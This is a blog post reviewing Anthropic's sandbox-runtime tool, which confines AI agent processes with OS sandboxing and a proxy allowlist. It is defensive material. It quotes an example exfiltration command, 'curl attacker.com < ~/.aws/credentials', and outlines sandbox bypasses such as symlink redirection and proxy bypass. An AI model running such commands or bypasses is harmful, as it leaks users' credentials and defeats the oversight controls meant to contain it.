DEV Community

Cover image for Anthropic Sandbox Runtime: OS-Level Agent Sandboxing Without Containers
mech.app
mech.app

Posted on Originally published at mech.app

Anthropic Sandbox Runtime: OS-Level Agent Sandboxing Without Containers

Anthropic released sandbox-runtime as a beta research preview for Claude Code. It addresses a specific problem: how do you let an agent execute arbitrary code without letting it read your SSH keys or phone home to attacker-controlled domains?

The tool uses native OS sandboxing primitives (sandbox-exec on macOS, bubblewrap on Linux) plus proxy-based network filtering. No containers. No VMs. Just syscall interception and policy enforcement at the process boundary.

It's trending at #5 on GitHub TypeScript with 6,591 stars because every production agent deployment faces the same question: what happens when the LLM decides to run curl attacker.com < ~/.aws/credentials?

How It Works

Sandbox-runtime wraps a target process with OS-level restrictions. On macOS it invokes sandbox-exec with a compiled sandbox profile. On Linux it uses bubblewrap to create a restricted namespace. Both mechanisms intercept syscalls and enforce policy before the kernel grants access.

The network layer is different. Instead of syscall interception, sandbox-runtime runs a local HTTP/HTTPS proxy. The sandbox policy forces all network traffic through this proxy, which checks requests against an allowlist. Blocked domains return connection errors. Allowed domains pass through.

Filesystem restrictions work at the path level. You specify read/write permissions for directories and individual files. The OS sandbox enforces these rules. Attempts to access restricted paths return EPERM (Operation not permitted).

Unix socket access is controlled separately. You can allow specific socket paths (like Docker's /var/run/docker.sock) or block all IPC.

Architecture: Two Sandboxing Backends

The macOS and Linux implementations differ in expressiveness and observability.

macOS (sandbox-exec)

  • Uses Apple's Sandbox.kext kernel extension
  • Policy written in Scheme-like SBPL (Sandbox Profile Language)
  • Supports fine-grained rules: deny file-read except for specific paths, deny network except through proxy
  • Violation monitoring taps into macOS's centralized sandbox log store
  • Real-time alerts when a process attempts a blocked operation

Linux (bubblewrap)

  • Uses kernel namespaces (mount, network, PID, IPC)
  • Policy expressed as command-line flags: --ro-bind, --dev /dev, --unshare-net
  • Less granular than SBPL but more portable
  • No centralized violation log: blocked syscalls just fail silently
  • Debugging requires strace or manual logging
Feature macOS (sandbox-exec) Linux (bubblewrap)
Syscall interception Kernel extension Namespaces + seccomp
Policy language SBPL (Scheme-like) CLI flags
Network filtering Proxy + policy Proxy + unshare-net
Violation logging Real-time via log store Silent failures
Granularity Per-file, per-syscall Per-mount, per-namespace
Debugging Built-in violation monitor Requires strace

The violation monitoring gap on Linux is significant. On macOS, if an agent tries to read /etc/passwd, you get an immediate log entry with the process ID, path, and timestamp. On Linux, the read fails but you won't know unless you're already tracing the process.

Network Filtering: Proxy Layer

The network allowlist is enforced by a local HTTP/HTTPS proxy. The sandbox policy routes all HTTP traffic to 127.0.0.1:PORT. The proxy checks the target domain against the allowlist before forwarding.

For HTTPS, the proxy performs a CONNECT tunnel. It inspects the SNI (Server Name Indication) in the TLS handshake to extract the hostname, then applies the allowlist. The proxy does not decrypt traffic. It only sees the destination.

Non-HTTP protocols (SSH, database connections, raw TCP) are blocked by default unless you explicitly allow the destination in the network policy. The proxy cannot inspect these protocols, so the allowlist is IP-based.

Example network policy:

{
  "allowedDomains": ["anthropic.com", "*.github.com"],
  "allowedIPs": ["192.168.1.100"]
}
Enter fullscreen mode Exit fullscreen mode

This allows HTTP/HTTPS to anthropic.com and any GitHub subdomain, plus raw TCP to 192.168.1.100. Everything else is blocked.

Sandboxing MCP Servers

A common use case is wrapping Model Context Protocol servers. MCP servers expose tools to agents (filesystem access, database queries, API calls). Without sandboxing, a compromised or misbehaving agent can abuse these tools.

Unsandboxed MCP server config:

{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem"]
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

Sandboxed version:

{
  "mcpServers": {
    "filesystem": {
      "command": "srt",
      "args": [
        "--allow-read", "/workspace",
        "--allow-write", "/workspace/output",
        "--network-allowlist", "api.internal.com",
        "npx", "-y", "@modelcontextprotocol/server-filesystem"
      ]
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

Now the MCP server can only read /workspace, write to /workspace/output, and make network requests to api.internal.com. Attempts to access /etc/passwd or curl attacker.com fail at the OS level.

Violation Monitoring on macOS

The macOS implementation includes a violation monitor that tails the system sandbox log. When a sandboxed process attempts a blocked operation, the kernel writes an entry to /var/log/system.log (or the unified logging system on newer macOS versions).

The monitor parses these entries in real-time and emits structured events:

{
  "type": "violation",
  "pid": 12345,
  "operation": "file-read",
  "path": "/Users/user/.ssh/id_rsa",
  "timestamp": "2026-10-25T20:05:42Z"
}
Enter fullscreen mode Exit fullscreen mode

This is critical for debugging agent behavior. You can see exactly what the agent tried to do and why it failed. On Linux, you only see the failure in the agent's stderr (if it logs errors at all).

State Management and Process Lifecycle

Sandbox-runtime is stateless. Each invocation creates a new sandbox, runs the command, and exits. There's no daemon, no persistent state, no cleanup required.

The sandbox policy is compiled at runtime from the CLI flags or config file. On macOS, this generates an SBPL profile and passes it to sandbox-exec. On Linux, it translates to bubblewrap flags.

The sandboxed process inherits the parent's environment variables and working directory unless you override them. This makes it easy to drop into existing workflows: just prefix your command with srt.

Exit codes pass through. If the sandboxed command exits with code 1, srt exits with code 1. This preserves shell scripting semantics.

Failure Modes

Proxy bypass: If the sandboxed process can bind to a network interface directly (because you didn't restrict network namespaces tightly enough), it can bypass the proxy. On Linux, always use --unshare-net to isolate the network namespace.

Filesystem escape: Symlinks can escape the sandbox if you allow write access to a directory that contains symlinks pointing outside the allowed paths. The OS follows the symlink and enforces policy on the target, but if the symlink is writable, an attacker can redirect it.

Resource exhaustion: The sandbox does not enforce CPU, memory, or disk quotas. A sandboxed process can still fork-bomb, allocate all available RAM, or fill the disk. Use cgroups (Linux) or launchd limits (macOS) for resource control.

Violation log flooding: On macOS, a misbehaving process can generate thousands of violation log entries per second. The monitor buffers these in memory. If the buffer fills, older entries are dropped. You need external log aggregation for high-volume scenarios.

Performance Overhead

Syscall interception adds latency. On macOS, sandbox-exec adds roughly 5-10 microseconds per syscall. On Linux, bubblewrap's namespace overhead is similar but varies by kernel version.

The proxy adds one RTT (round-trip time) to every HTTP request: the sandboxed process connects to the proxy, the proxy checks the allowlist, then the proxy connects to the target. For localhost connections this is negligible. For remote APIs it's noise compared to network latency.

Filesystem operations are the bottleneck. If your agent reads thousands of small files, the per-syscall overhead compounds. Batch operations (like reading a directory tree into memory) are faster than individual file reads.

When to Use This vs. Containers

Containers (Docker, Podman) provide stronger isolation but higher overhead. You need a container runtime, image layers, and network bridging. Startup time is hundreds of milliseconds. Disk usage is gigabytes.

Sandbox-runtime starts in milliseconds and uses zero disk space. The tradeoff is weaker isolation. A kernel exploit in the sandboxed process can escape to the host. Containers add a hypervisor or seccomp-bpf layer that makes escape harder.

Use sandbox-runtime when:

  • You need sub-second startup time (interactive agent workflows)
  • You're already running on a trusted host (your laptop, a dedicated agent VM)
  • You want to sandbox individual commands, not entire environments
  • You need fine-grained filesystem rules (allow read on /workspace but deny /workspace/.env)

Use containers when:

  • You need defense-in-depth against kernel exploits
  • You're running untrusted third-party code
  • You need reproducible environments with pinned dependencies
  • You're deploying to multi-tenant infrastructure

Technical Verdict

Sandbox-runtime is a sharp tool for a specific job: enforcing least-privilege on agent processes without the overhead of containers. It's ideal for local development, CI pipelines, and single-tenant agent deployments where you control the host.

The macOS implementation is more mature. Real-time violation monitoring and fine-grained SBPL policies make debugging straightforward. The Linux implementation works but lacks observability. You'll need to add your own logging and tracing.

Avoid this if you're running untrusted code from the internet or need multi-tenant isolation. The OS-level sandbox is not a security boundary against determined attackers. It's a guardrail to prevent accidents and limit blast radius.

The proxy-based network filtering is clever but fragile. It only works for HTTP/HTTPS and requires careful configuration to avoid bypasses. If your agent needs to connect to databases, message queues, or other non-HTTP services, you'll need IP-based allowlists and tight namespace isolation.

For production agent deployments, combine sandbox-runtime with other layers: run it inside a VM or container for defense-in-depth, add resource limits via cgroups, and ship violation logs to a SIEM for anomaly detection.

Source Links

Top comments (0)